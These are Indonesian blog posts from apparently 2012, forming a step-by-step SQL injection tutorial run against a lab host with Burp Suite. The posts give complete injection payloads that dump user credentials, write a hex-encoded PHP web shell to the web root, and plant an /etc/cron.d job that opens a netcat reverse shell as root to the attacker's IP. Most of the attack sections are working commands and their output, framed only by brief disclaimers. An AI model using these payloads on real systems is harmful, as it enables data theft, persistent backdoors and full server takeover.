Tampilkan postingan dengan label burpsuite. Tampilkan semua postingan
Tampilkan postingan dengan label burpsuite. Tampilkan semua postingan

Senin, 30 April 2012

SQL Injection Level 4 [Final]

Setelah kita menjalani tiga step dari SQL Injection level 4, akhirnya kita sampai di tahap final. Tahap final adalah tahap rooting. Kali ini saya akan menjelaskan cara melakukan rooting hanya dengan menggunakan teknik SQL Injection level 4.

Masih sama dengan posting tempo lalu, saya masih menggunakan burpsuite untuk membantu saya dalam melakukan decode dan sql injecting.


Preparation :
  1. Burpsuite [dapat ditemukan di backtrack]
  2. Netcat  [dapat ditemukan di backtrack]
Briefing :
  1. Ketahuilah apa fungsi dari file yang terdapat di directory /etc/cron.d/
  2. Membuat file baru pada directory /etc/cron.d/ dengan perintah back connect root kepada komputer attacker. 
  3. Game Over.
Walkthrough

 1. Apa itu file cron.d?


Saya akan menjelaskan dengan singkat, apa fungsi dari file /etc/cron.d. File yang terdapat dalam directory ini akan dieksekusi setiap 2 - 5 menit sekali oleh user yang bersangkutan. User yang bersangkutan?


Contoh sederhana dari file /etc/cron.d/ adalah


Command :
* * * * * www-data date>>/tmp/date

Kita memiliki contoh file cron.d di sini, sebut saja nama file ini date


Command :
<< back|track 5 R2 [~] ls -l /etc/cron.d/date-rw-r--r-- 1 root root 35 2012-05-01 12:01 /etc/cron.d/date


Command :
<< back|track 5 R2 [~] cat /etc/cron.d/date* * * * * www-data date>>/tmp/date



User www-data akan mengeksekusi perintah


date>>/tmp/date


Dimana output dari perintah date akan disimpan di /tmp/date. Sekarang kita cek isi dari file /tmp/date

Command :
<< back|track 5 R2 [~] cat /tmp/dateTue May  1 11:24:57 WIT 2012
Tue May  1 11:26:01 WIT 2012



Perhatikan, file /etc/cron.d/date dieksekusi setiap 2 menit. Bagaimana jika user kita ganti dengan root? Tentu saja bisa.


2. Back connect root

Kita bisa melakukan back connect root jika netcat dieksekusi oleh root. Sederhananya, kita cukup mengganti user dengan root, kemudian kita tambahkan dengan dengan peritah back connect netcat.

Command :
* * * * * root /bin/nc.traditional 172.16.243.1 1234 -e /bin/bash

Anda bisa mencari tau mengapa saya bisa menemukan netcat pada server target di posting SQL Injection Level 4 [Part 3]. Sementara 172.16.243.1 adalah IP Address saya.

Kemudian kita decode perintah ini dari ASCII ke HEX dengan bantuan burpsuite. Saya tidak akan menjelaskan lagi cara melakukan decode ASCII ke HEX dengan burpsuite, anda dapat membacanya pada postingan sebelumnya pada SQL Injection Level 4 [Part 3].


Ok. Perintah suda di decode menjadi HEX. Sekarang perintah menjadi

Command :
2a202a202a202a202a20726f6f74202f62696e2f6e632e747261646974696f6e616c203137322e31362e3234332e312031323334202d65202f62696e2f626173680a

Catatan Penting:
Ketika melakukan decode dengan burpsuite, pastikan anda menambahkan line baru setelah perintah netcat. Perhatikan gambar di atas.

Setelah di decode, maka kita masukan perintah SQL seperti ini:

Command :
myusername=admin&mypassword=%27 and 1=1 union select 0x20,0x20,0x20 into outfile '/etc/cron.d/backdoor' lines terminated by 0x2a202a202a202a202a20726f6f74202f62696e2f6e632e747261646974696f6e616c203137322e31362e3234332e312031323334202d65202f62696e2f626173680a -- &Submit=Login


Perintah di atas akan membuat file baru bernama backdoor pada directory /etc/cron.d/. Sebelum klik tombol GO pada burpsuite, masukan perintah berikut pada terminal, ini berfungsi agar anda dapat menerima koneksi netcat dari root komputer target.

Command :
<< back|track 5 R2 [~] netcat -l -v -p 1234
listening on [any] 1234 ...

Kemudian klik tombol GO. Ok, kali ini saya akan membuat bukti bahwa file cron.d dieksekusi dalam 2 menit. Setelah mengklik tombol GO, saya melakukan cek tanggal dan waktu.

Command :
<< back|track 5 R2 [~] dateTue May  1 11:45:53 WIT 2012



3. Game Over

Jika file /etc/cron.d/backdoor pada server target berhasil dieksekusi, maka pada konsol netcat akan muncul.

Command :
<< back|track 5 R2 [~] netcat -l -v -p 1234
listening on [any] 1234 ...
172.16.243.128: inverse host lookup failed: Unknown host
connect to [172.16.243.1] from (UNKNOWN) [172.16.243.128] 50648


Kemudian saya cek kembali tanggal saya

Command :
<< back|track 5 R2 [~] dateTue May  1 11:45:53 WIT 2012<< back|track 5 R2 [~] dateTue May  1 11:47:03 WIT 2012

File /etc/cron.d/backdoor dieksekusi dalam waktu kurang dari 2 menit. Sekarang kita cek ID pada netcat kita, apakah ini root?

Command :
<< back|track 5 R2 [~] netcat -l -v -p 1234
listening on [any] 1234 ...
172.16.243.128: inverse host lookup failed: Unknown host
connect to [172.16.243.1] from (UNKNOWN) [172.16.243.128] 50648
id
uid=0(root) gid=0(root) groups=0(root)



There you go! You got root.

You are so #pwned by : red-dragon


Rabu, 11 April 2012

SQL Injection Level 4 [Part 3]

Ini adalah kelanjutan dari SQL Injection Level 4 [Part 2]. Sebelum masuk ke tahap ini, saya sarankan pembaca memahami konsep dari Part 1, dan Part 2 terlebih dahulu.

Kali ini saya masih menggunakan tools burpsuite.

Preparation :
  1. Burpsuite
  2. Browser
Legal Disclaimer:
Tutorial ini bertujuan sebagai pembelajaran dan edukasi, penyalah gunaan ilmu ini di luar tanggung jawab penulis.

Walkthrough
1. Mengenal konsep backdoor php
Pada tutorial sebelumnya, saya sudah menjelaskan mengenai dumping username dan password menggunakan perintah sederhana yang dilakukan oleh repeater pada tool burpsuite. Kali ini saya akan memasang backdoor sederhana, hanya dengan menggunakan burpsuite.

Contoh sederhana dari backdoor php dengan menggunakan perintah passthru.


Command :
<?php
passthru($_GET['cmd']);
?>

Kemudian saya sedikit modifikasi menjadi.


Command :
<?php
if(isset($_REQUEST['cmd'])){        echo "<pre>";        $cmd = ($_REQUEST['cmd']);        system($cmd);        echo "</pre>";        die;}
?>




2. Encoding ASCII to HEX with Burpsuite
Mengetahui shell code kita harus berformat hexadecimal, maka kita harus melakukan converting dari ASCII ke HEX. Burpsuite telah menyediakan fitur ini. Klik tab decoder, kemudian pada drop down menu "encode as..." pilih "ascii hex". Pada text menu (atas), masukan shell code anda. Kali ini saya menggunakan shell code milik saya, dan shell code saya telah dikonfersikan ke HEX pada text menu bagian bawah.


Command :
3c3f7068700a0a696628697373657428245f524551554553545b27636d64275d29297b0a20202020202020206563686f20223c7072653e223b0a202020202020202024636d64203d2028245f524551554553545b27636d64275d293b0a202020202020202073797374656d2824636d64293b0a20202020202020206563686f20223c2f7072653e223b0a20202020202020206469653b0a7d0a0a3f3e




3. Burpsuite In Action
Kita telah mengubah shell code manjadi HEX format, selanjutnya kita masukan perintah SQL, sehingga perintah SQL menjadi


Command :
myusername=admin&mypassword=' AND 1=1 union select 0x20,0x20,0x20 INTO OUTFILE '/var/www/backdoor.php' LINES TERMINATED BY 0x3c3f7068700a0a696628697373657428245f524551554553545b27636d64275d29297b0a20202020202020206563686f20223c7072653e223b0a202020202020202024636d64203d2028245f524551554553545b27636d64275d293b0a202020202020202073797374656d2824636d64293b0a20202020202020206563686f20223c2f7072653e223b0a20202020202020206469653b0a7d0a0a3f3e -- &Submit=Login




Jangan klik tombol GO. Sebelumnya saya akan membuktikan bahwa belum ada file backdoor.php di dalam web server. Saya akan mengujinya dengan perintah curl.


Command :
red-dragon [~] >> curl http://172.16.33.131/backdoor.php


Hasil.


Command :
red-dragon [~] >> curl http://172.16.33.131/backdoor.php<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /backdoor.php was not found on this server.</p><hr><address>Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Server at 172.16.33.131 Port 80</address>




4. Access Backdoor
Kembali ke burpsuite, kemudian tekan tombol GO. Dan kita cek lagi keberadaan backdoor.php pada server.


Command :
red-dragon [~] >> curl http://172.16.33.131/backdoor.php?cmd=id



It's easy, as usual.

created by : red-dragon


SQL Injection Level 4 [Part 2]

Pada postingan sebelumnya, kita telah membahas tentang melakukan SQL Injeksi Tahap 4 menggunakan SQLmap, dan Tamper Data. Kali ini saya akan melakukan hal yang berbeda dari tutorial SQL Injeksi manapun, karena saya menggunakan tools OWASP Burpsuite.

Target saya masih sama dari target pada postingan sebelumnya, dengan alasan yang sama, saya tidak mau membuat kerusakan pada situs milik orang lain.

IP target : 172.16.33.131



Important!!!
Tutorial ini bertujuan sebagai pembelajaran, penyalah gunaan yang membuat kerugian terhadap pihak lain di luar tanggung jawab penulis.

Preparation :
  1. Browser
  2. Burpsuite (dapat ditemukan di backtrack 5)
Walkthrough :
1. Menyiapkan burpsuite

Burpsuite dapat ditemukan di backtrack 5. Pada start menu, pilih Applications - Backtrack - Vulnerability Assessment - Web Application Assessment - Web Application Proxies - Burpsuite.


Burpsuite akan menangkap setiap paket atau data yang dikirim dari client ke server, dengan syarat client harus menggunakan proxy burpsuite. Untuk melakukan pengaturan proxy, lakukan langkah berikut:

  • Klik tab Proxy
  • Pada tab intercept,  klik "Intercept is on" sehingga menjadi "Intercept is off"
  • Pada tab options, perhatikan port burpsuite yang aktif. Kali ini saya menggunakan pengaturan umum, yaitu 8080.
  • Klik tab Target, pada tab ini semua data dan packet akan muncul.
Jangan tutup burpsuite, karena kita masih menggunakan tool ini.


2. Menyiapkan Browser

Anda bisa menggunakan browser apapun, namun dalam tutorial ini, saya menggunakan browser Mozilla Firefox. Untuk melakukan pengaturan proxy, lakukan langkah berikut:
  • Edit
  • Preferences
  • Advanced
  • Network
  • Settings
  • Pilih Manual Proxy Configuration
  • Pada http proxy, masukan 0.0.0.0
  • Para port proxy masukan 8080
  • Klik OK



3. Burpsuite Intercepting

Sekarang masukan IP 172.16.33.131 pada address bar. Kemudian login dengan

Username : admin
Password : '

Klik Login. Kemudian kembali pada burpsuite, maka akan muncul data yang berhasil dihadang (intercepted) oleh burpsuite.



4. Burpsuite In Action

Pada pembahasan sebelumnya, kita telah mengetahui, bahwa vulnerability terletak pada halaman checklogin.php. Jika anda masih bingung mengapa halaman ini memiliki vulnerability, saya sarankan anda membaca postingan sebelumnya mengenai SQL Injection Level 4 [Part 1].  Klik kanan pada bagian /checklogin.php, kemudian pilih "send to repeater".



Pada tab repeater. Perhatikan bagian

myusername=admin&mypassword='&Submit=Login

Pada pembahasan sebelumnya, kita juga sudah mengetahui bahwa parameter "mypassword" memiliki vulnerability terhadap serangan SQL Injection. Ini terlihat dari pesan:

mysql_num_rows(): supplied argument is not a valid MySQL result resource in


5. Dumping Username + Password With Burpsuite

Melakukan dumping username dan password belum pernah secepat dan semudah ini. Biasanya anda harus mencari table dan kolom yang tepat untuk mendapatkan username dan password. Namun kali ini anda hanya membutuhkan satu perintah saja. Ubah bagian:

myusername=admin&mypassword='&Submit=Login

Menjadi

myusername=admin&mypassword=' OR 1=1 INTO OUTFILE '/var/www/dump' -- &Submit=Login

Jangan klik tombol GO. Untuk membuktikan bahwa username dan password berhasil di dump ke /var/www/dump, kita akan menguji keberadaan file dump pada server dengan perintah curl.

Command :
red-dragon [~] >> curl http://172.16.33.131/dump

Maka akan muncul

Command :
red-dragon [~] >> curl http://172.16.33.131/dump<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /dump was not found on this server.</p><hr><address>Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Server at 172.16.33.131 Port 80</address></body></html>



Terlihat bahwa file dump memang tidak ada (belum ada). Kemudian klik tombol go pada burpsuite. Dan lakukan pengecekan lagi dengan curl.

Command :
red-dragon [~] >> curl http://172.16.33.131/dump1 john         MyNameIsJohn2 robert      ADGAdsafdfwt4gadfga==



It's easy, isn't?

created by : red-dragon